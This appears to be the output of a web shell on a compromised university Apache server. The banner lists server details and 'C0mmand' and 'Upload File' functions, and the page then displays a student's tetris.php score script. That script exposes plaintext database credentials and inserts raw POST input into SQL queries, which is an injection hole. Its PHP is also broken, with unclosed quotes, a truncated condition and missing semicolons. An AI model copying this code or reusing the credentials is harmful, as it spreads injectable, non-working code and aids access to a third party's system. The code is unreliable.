|
Server IP : 172.16.15.8 / Your IP : 3.133.139.164 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/wmeckard/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- tetris.php -->
<font color=true>
<center>
<?php
$name = $_POST['name'];
$score = $_POST['score'];
$score = 0;
$host = 'localhost';
$user = 'wmeckard';
$passwd = 'CS389';
$database = 'wmeckard';
$connect = mysql_connect($host, $user, $passwd);
$tablequery = 'select * from TETRIS';
$updatequery = 'update TETRIS set Score = $score where Name = $name';
$insertquery = 'insert into TETRIS (Name, Score) values('$name', '$score');
$query = "select * from TETRIS where Name = '$name'";
$check = mysql_query($query, $connect);
if($check)
{
if($score <
mysql_query($updatequery, $connect);
print "Score updated."
}
else
{
mysql_query($insertquery, $connect);
}
?>
</center>
</font>